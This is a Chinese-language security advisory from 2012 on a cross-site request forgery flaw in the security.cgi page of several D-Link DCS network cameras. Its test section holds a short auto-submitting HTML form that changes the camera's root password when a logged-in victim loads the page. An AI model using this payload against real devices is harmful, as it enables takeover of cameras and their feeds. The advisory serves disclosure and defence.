多个D-Link DCS产品“security.cgi”跨站请求伪造漏洞


发布日期：2012-02-23
更新日期：2012-02-24

受影响系统：
D-Link DCS 900
D-Link DCS 5300
D-Link DCS 2000
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 52134

D-Link DCS-900、DCS-5300、DCS-2000是网络摄像机产品。

D-Link DCS-900、DCS-5300、DCS-2000在实现上存在安全漏洞，可被利用导致在受影响设备上运行特权命令、更改信息、造成拒绝服务或注入任意脚本代码。

<*来源：Rigan Iimrigan
  *>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

&lt;html&gt;
&lt;body onload="javascript:document.forms[0].submit()"&gt;
&lt;form method="POST" name="form0" action="http://www.example.com/setup/security.cgi"&gt;
&lt;input type="hidden" name="rootpass" value="your_pass"/&gt;
&lt;input type="hidden" name="confirm" value="your_pass"/&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;

建议：
--------------------------------------------------------------------------------
厂商补丁：

D-Link
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.dlink.com/

相关内容